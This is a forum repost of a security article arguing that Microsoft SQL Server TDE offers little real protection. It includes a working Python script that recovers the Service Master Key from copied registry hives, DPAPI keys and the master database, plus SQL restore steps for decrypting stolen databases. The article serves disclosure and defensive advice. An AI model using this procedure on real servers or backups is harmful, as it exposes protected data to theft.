Nytro Posted March 19, 2016 Report Posted March 19, 2016 The Anatomy and (In)Security of Microsoft SQL Server Transparent Data Encryption (TDE), or How to Break TDE Contents Intro TDE Encryption Breaking TDE Encryption of Data at Rest in General Should I Install TDE? Making the Most of a Bad Situation (using TDE) Hardware Support If not TDE, then what? This investigation started as a discussion with one of my clients over whether they should install TDE. There was political pressure for encryption of data at rest, and TDE was the primary candidate, but there is an obvious flaw. There is a fundamental problem with any software that encrypts its own data: it also needs to decrypt the data if it wants to use it itself. For example, if SQL Server wants to write data to an encrypted database and then later return it to a user, it needs the decryption key available to itself to be able to do that. If the system also has to boot without manual intervention and the sensitive functionality can’t be embedded in separate protected hardware, then that key must be stored on the system somewhere so that the server has access to it when it starts up. However if the key is stored on the system it is accessible to anybody that has gained elevated privileges and if the entire system is backed up, the key is also stored on the backups, making all data easily readable. “Obviously” the solution is to encrypt the key before storing it on the system, and that is what Microsoft does with TDE. Unfortunately that doesn’t really solve anything because in order to decrypt the encrypted key, you need to store that key instead. All this achieves is deferring the storage of the key with a little smoke and mirrors. Clearly the solution is to encrypt the encrypting key as well… And that is what Microsoft does with TDE. And so it continues. It’s turtles all the way down. Eventually though you have to stop adding layers and store the bottommost key somewhere unencrypted, defeating all of the layers of encryption immediately – and the whole world comes tumbling down, turtles and all. This basic and unavoidable logical necessity escapes many people. Perhaps it seems so terrible that they refuse to believe that such a seemingly pointless and maybe even dishonest thing would be built and sold as a security mechanism by a major company. Despite basic logic, some people just won’t believe anything until they see it with their own eyes, and so here we are. TDE Encryption Before we jump into breaking TDE, let’s take a look at how all of the data is encrypted. The diagram below provides an overview of the various decryption steps that are required. If this isn’t the posterchild of security by obscurity, I don’t know what is. This is actually slightly simplified, since there are multiple paths to the same data in some cases, and there are some subtleties in some of the processes not indicated. The path shown is the one we are most interested in because it is one of the easiest to replicate. Starting at the bottom, the most fundamental secret is the LSA secret key, which the rest of the layers stand on top of. This is stored on disk in the registry with a minor obfuscation (“substitution cipher”), but it is well known and is unkeyed so it provides no security whatsoever. Given that LSA key and a few other bits of key material stored in other files, the whole mess falls apart. The blue bubbles indicate the underlying files that contain the various critical pieces of information: The registry backups or hive files SYSTEM, SECURITY and SOFTWARE from %WINDIR%/System32/Config The DPAPI master keys from %WINDIR%/System32/Microsoft/Protect/S-1-5-18 The master database and the target user database(s). The databases can be recovered either from a SQL backup file or from raw .mdf files. In the case of .mdf files, it is also useful to have the corresponding .ldf database log files, though it is not essential. Armed with these pieces of information, all of the encryption keys can be directly recovered with no brute force required. Breaking TDE From the perspective of SQL server, the one key that rules them all is the Service Master Key (SMK). It is unique to each server/cluster, and it secures all of the layers above it. It is stored in the master database, which itself is never encrypted in TDE. However it is stored as an encrypted value in a field in the master database, so it still needs to be decrypted. The general approach to breaking TDE is to copy the databases from the target server (or from backups) and put them on a new “recovery” SQL server that we control. By copying the Service Master Key as well, all of the encrypted databases will be automatically decrypted by SQL server on the recovery server. The data on the recovery server can then be viewed, exported, etc. So it’s not necessary to really understand exactly what SQL Server does with the various database encryption keys beyond the Service Master Key, because we will just use it against itself to decrypt everything for us. The simple python script below takes the files collected and extracts the Service Master Key. Most of the work involved is in recovering the DPAPI keys, which is handled for us thanks to the excellent work from the creddump and dpapick projects. #!/usr/bin/env python # -*- coding: utf-8 -*- from DPAPI.Core import blob # https://pypi.python.org/pypi/dpapick/0.3 from DPAPI.Core import masterkey from DPAPI.Core import registry from optparse import OptionParser from Registry import Registry # https://github.com/williballenthin/python-registry from bitstring import ConstBitStream import re import os import sys def search_with_blob(entropy, dpapi_system, mkp, tdeblob): """Try decrypting with each master key""" wblob = blob.DPAPIBlob(tdeblob) mks = mkp.getMasterKeys(wblob.mkguid) for mk in mks: if mk.decrypted: wblob.decrypt(mk.get_key(), entropy) if wblob.decrypted: print("Decrypted service master key: %s" % wblob.cleartext.encode('hex')) else: print("Decryption failed") def search_with_entropy(entropy, dpapi_system, mkp, masterdb): """Search for DPAPI blobs in master database""" masterdb = ConstBitStream(filename = options.masterdb) for found in masterdb.findall('0x01000000D08C9DDF0115D1118C7A00C04FC297EB', bytealigned = True): blobsegment = masterdb[found:found+512*8] # Extraneous bytes ignored search_with_blob(entropy, dpapi_system, mkp, blobsegment.tobytes()) parser = OptionParser() parser.add_option("--masterkey", metavar='DIRECTORY', dest='masterkeydir') parser.add_option("--system", metavar='HIVE', dest='system') parser.add_option("--security", metavar='HIVE', dest='security') parser.add_option("--software", metavar='HIVE', dest='software') parser.add_option("--masterdb", metavar='FILE', dest='masterdb') (options, args) = parser.parse_args() reg = registry.Regedit() secrets = reg.get_lsa_secrets(options.security, options.system) dpapi_system = secrets.get('DPAPI_SYSTEM')['CurrVal'] mkp = masterkey.MasterKeyPool() mkp.loadDirectory(options.masterkeydir) mkp.addSystemCredential(dpapi_system) mkp.try_credential_hash(None, None) with open(options.software, 'rb') as f: reg = Registry.Registry(f) regInstances = reg.open('Microsoft\\Microsoft SQL Server\\Instance Names\\SQL') for v in regInstances.values(): print("Checking SQL instance %s" % v.value()) regInst = reg.open('Microsoft\\Microsoft SQL Server\\%s\\Security' % v.value()) entropy = regInst['Entropy'].value() search_with_entropy(entropy, dpapi_system, mkp, options.masterdb) Conveniently, the script is cross platform so it doesn’t need to be run on the Windows machine. That means no software installation is required on the target server, just some file exfiltration (or backups can be used). Once the DPAPI keys have been recovered, this script searches the master database for encrypted Service Master Keys. They are encrypted in a special DPAPI blob structure. The DPAPI structure always includes a provider GUID: df9d8cd0-1501-11d1-8c7a-0c04fc297eb which makes them easy to find. Since the master database is unencrypted we could just use SQL server to extract them, but that would require a bit more coordination and fiddling. Because the GUID is so definitive this quick and dirty approach of searching directly in the master database is used for the proof of concept instead. It also means it works equally well with either SQL backup files or native .mdf files, despite the file formats being different. Execution just points to the necessary files, and goes something like this: $ ./tde.py --masterkey=S-1-5-18 --system=SYSTEM --security=SECURITY --software=SOFTWARE --masterdb=master.mdf The result is simply the unencrypted Service Master Key in all its naked glory: Decrypted service master key: 999338193ab37c38c3aa99df062e2f5ca96b7dbc87542af9d61e0dc8a473c1f9 SQL Server has a way of backing up and restoring Service Master Keys, using the command BACKUP SERVICE MASTER KEY TO FILE = 'some-file-to-write-to' ENCRYPTION BY PASSWORD = 'some-password' And likewise, they can be restored onto a new server with the command RESTORE SERVICE MASTER KEY FROM FILE = 'some-file-to-read-from' DECRYPTION BY PASSWORD = 'some-password' [FORCE] With the Service Master Key restored, the other keys in the master database can also be decrypted, and the database accessed. Unfortunately we don’t have a backup file of the Service Master Key from the target machine (actually in many attack scenarios we could just execute the backup command as well, but that doesn’t work for backup restores and some other scenarios). In our case, where we have a recovered raw key but no backup file, an obvious way to install the SMK would be to encrypt the SMK with DPAPI system credentials on the recovery computer and store in the master database. The dpapick library doesn’t currently support encryption and I was in a hurry so I skipped this method for now, though it probably wouldn’t take much effort. Instead, I went for a quick and dirty method that creates a SMK backup file but it is a bit manual. So this can undoubtedly be streamlined, but for the proof of concept I used a simple cuckoo’s egg method that is shown in the video as part of an end-to-end recovery demo. This method generates a SMK backup file with the recovered key, which we can restore onto our recovery SQL server. Armed with the new Service Master Key backup file, the steps to restore a TDE backup (from .bak files) to the recovery server are: RESTORE DATABASE MASTER FROM DISK = 'c:\...\master.bak' WITH REPLACE; RESTORE SERVICE MASTER KEY FROM FILE = 'some-file-to-read-from' DECRYPTION BY PASSWORD = 'some-password' FORCE Start SQL server in single user mode (-m startup option) Restore master database Restart SQL service (still in single user mode) Add administrator user/reset admin password. Restart service in normal multi-user mode Restore SMK with the FORCE option Restore the target database(s) Refresh database list In the case of restoring from .MDF/.LDF files, the steps are: RESTORE SERVICE MASTER KEY FROM FILE = 'some-file-to-read-from' DECRYPTION BY PASSWORD = 'some-password' FORCE Stop SQL service Copy .mdf/.ldf files, replacing existing master database Start SQL server in single user mode (-m startup option) Add administrator user/reset admin password. Restart service in normal multi-user mode Restore SMK with the FORCE option Take target database(s) offline Bring target database(s) online again Refresh database list At this point, we have fully recovered and have access to the encrypted databases. Encryption of Data at Rest in General There seems to be a tendency to just assume encryption is a good thing without considering specific attack scenarios, but doing so is essential and also very revealing. For example, here are some common attack scenarios and details on how well TDE helps with the situation. For comparison purposes, application based encryption protection is described for each attack scenario as well. ATTACK SCENARIO TDE APPLICATION ENCRYPTION SQL injection or similar SQL manipulation attack SQL server automatically decrypts data for attacker, and TDE provides no protection. Attacker can only retrieve encrypted data. Attack that provides local admin access on SQL server. SQL is configured to allow NTLM login for administrator. TDE does nothing. Admin can log in to SQL and view/export tables, make backups, export service master keys, etc. Attacker can also use TDE recovery method here. Attacker can only retrieve encrypted data. Attack that provides local admin access on SQL server. SQL is not configured to allow NTLM login for administrator. Attacker can easily acquire access for themselves as SQL admin and view/export data. Attacker can also use TDE recovery method here. Attacker can only retrieve encrypted data. Attack that provides application server admin access only (no access to SQL server). Attacker can exploit application to request sensitive data. TDE doesn’t protect data. Attacker can recover application encryption keys and exploit application to request sensitive data. Attack that provides application server access as low privilege user. Potentially protected, but true regardless of having TDE. Potentially protected, but true regardless of having application encryption. Attack that provides escalated access as local SQL service user on SQL server. Attacker can issue arbitrary queries and data is decrypted for them automatically. Attacker can only retrieve encrypted data. Servers stolen, hard drives stolen/recovered. or Complete backups acquired (no additional encryption or separation) TDE data can be decrypted as described here. Attacker can recover application keys and decrypt data. However it may require reverse engineering since the encryption is custom, so it is more difficult that in the case of TDE. System and DB backups are stored physically separately. Attacker can retrieve encrypted data or keys but less likely to get both. Inferior to conventional backup encryption though which entirely prevents this. Attacker can only retrieve encrypted data. Backups acquired, but additional encryption is implemented as part of backup process. Protected, but TDE doesn’t add any benefit. Protected, but application encryption doesn’t add any benefit. Attacker gains access to database files (eg on a vulnerable SAN), but not other system files (eg on a local disk). TDE provides a benefit in this case, but it is not always applicable. It is also preferable to arrange so any SAN is only physically accessible from the SQL server, in which case TDE doesn’t add anything. Attacker can only retrieve encrypted data. We can see that in practice for most real world attack scenarios TDE doesn’t help or provides worse security compared to other approaches that also have less system impact. Should I Install TDE? The weakness in TDE is not a bug or a fault of Microsoft; it is a much more fundamental problem, and it is not in any way unique to SQL Server. Any other database has to abide by the same logic. This is the result of people demanding features without understanding what they are asking for. Microsoft know it isn’t secure, and you can see this in some of the language they use in the documentation. It’s about satisfying political pressure not about solving real security issues. It is the same lack of understanding that perpetuates and pervades management best practices. People want encryption of data at rest, but also want automatic booting and conventional database systems, and don’t want to have to change their applications. The result is always going to be insecure. But they have their boxes to tick on their security checklists. As well as little to no practical security enhancement TDE gives you: Reduced performance Depending on your architecture and use patterns, this typically varies from 2% to 12% see http://www.databasejournal.com/features/mssql/article.php/3815501/Performance-Testing-SQL-2008146s-Transparent-Data-Encryption.htm However systems that are write heavy or that have wide data scans over data that are much larger than RAM may see 15% impact or more. Systems under heavy load may also degrade non-linearly. Uncompressible backups Since encryption occurs before backup compression, and encrypted data cannot be compressed, backups will be significantly larger. This has direct cost implications. Conventional backup systems compress before encrypting and avoid this problem. A false sense of security There are many situations in which TDE becomes effectively null and void. Unless great care is taken to avoid these the false sense of security is likely to lead unwary users to expose sensitive information that would have otherwise been protected with other more straightforward security methodologies. TDE offers little to no practical benefit. Given the significant downsides, for most situations it is not even practically useful as one component in a multi-pronged security approach. On the flip side of the coin, there are common arguments for using TDE: “It’s better than nothing”. No, it really isn’t… At least nothing wouldn’t make your system run slower and cost more to run. Other conventional security practices address the same threats more effectively and without the impact. “It’s one more layer”. It’s a layer that does nothing beneficial, but has unequivocal downsides. There is no rational basis for adding components to a system that reduce performance and increase costs for no benefit. “Encryption of data at rest is current best practice and required for security compliance in many industries like PCI”. This is politics more than reasoning. Also, TDE is not the only method of encrypting data at rest. Some other methods suffer fewer problems, as we saw earlier. “You’re assuming an attacker has administrative access, which is an unreasonable assumption. We want to protect against lesser privileged attacks.” Lesser privileged users shouldn’t be able to get your database files anyway. It’s always true that if an attacker has admin access, all bets are off. There are a lot of other terrible things they could do too. An admin user can always directly access SQL server, bypassing TDE encryption entirely. We’re really just showing that file access is sufficient, not that there aren’t also other weaknesses in this case. For any sensibly configured SQL server, no Windows users other than SQL user and local Administrator(s) should even exist. File permissions should also be such that no other users can read SQL data files, even if accidentally granted access to the server. SQL data files are also usually not readable to normal users because they are locked while in use. The only users that could realistically read the database files off a live server will be privileged users and they will be able to read all the other files too. But also importantly, we’re also considering the situation where backups, hard drives or servers are stolen, or some other access to the storage is obtained for unspecified reasons. So, should I install TDE? Probably “No”. Only if you’re forced to. If arguing will lose your job; probably “Yes”. Making the most of a bad situation (using TDE anyway) If political pressure is such that you have to install TDE despite it’s shortcomings: Ensure database backups are physically isolated from system backups or preferably Encrypt your backups separately, using alternative backup software encryption facilities (they don’t suffer the same problems as TDE). This somewhat defeats one of the purposes of TDE of course but at least avoids exposing yourself. Use hardware support to alleviate performance penalties or for key storage (see below), but this significantly increases costs even more and doesn’t help with security. Be aware of the situations it doesn’t help, and implement other strategies to deal with them. They will effectively make TDE redundant, but at least you ticked your boxes. Hardware Support Inexplicably, SQL Server doesn’t seem to support Intel AES-NI acceleration for AES which would greatly reduce the performance impact. There are vendors such as Thales, Townsend and SafeNet that provide hardware security modules (HSMs) that are compatible with SQL Server. The claimed benefits are hardware accelerated encryption and key protection. Hardware acceleration is great if you’re forced to use TDE for some reason. It should reduce the performance impact significantly. The security is questionable. I tried to get some information but had no luck getting responses. But there is a fundamental issue with hardware modules that integrate at the application level (as opposed to deep OS integration). The concept is that the HSM stores the encryption keys onboard and takes care of all encryption out of main memory and off-CPU. Without an audit, which seems not to have been done, there is no way to know how difficult it is for an attacker to recover keys from the devices. But more importantly, there is nothing stopping an attacker from asking the device to do the decryption for them. An attacker can send a perfectly valid request to the HSM asking it to decrypt a database block and end up decrypting the entire database. You might say that the HSM should only accept requests from SQL server. It’s not clear they attempt do that at all, but in any case, in order to do that, SQL server would need to authenticate itself to the HSM. At some point that involves a key, which it also needs to store somewhere, and we have the turtle problem all over. One benefit of an HSM is that it prevents SQL server storing keys on your hard drives at all. This means the keys aren’t stored in your backups. In practice though, this is of no real benefit since conventional backup encryption solves the same problem without any hardware or costs (and keeps backup size down, as mentioned earlier). So HSM is a sensible choice for acceleration in the case you are forced to use TDE, but don’t kid yourself into thinking it helps with security. If not TDE, then what? Application (column level) based encryption of data at rest is an alternative to TDE. It avoids some of the pitfalls, but requires support from application developers and may be expensive to retrofit to existing systems. Great care should be taken with access to servers and with file permissions. An unprivileged user should be entirely prevented from accessing database files. A privileged user will be able to decrypt and read encrypted data in all cases, so don’t dwell over it too much. The only thing you can practically do is keep the files away from unprivileged users, and try to prevent users from escalating by following other good security practices. Adding TDE on top of that won’t help a bean since an unprivileged user can’t get the data and a privileged user can read it despite TDE. Backups should be encrypted with an independent encryption system integrated into the backup system. Your permissions and other access controls should be audited automatically and frequently so that if an accidental change is made it can be fixed before it is exploited. Sursa: http://simonmcauliffe.com/technology/tde/ Quote
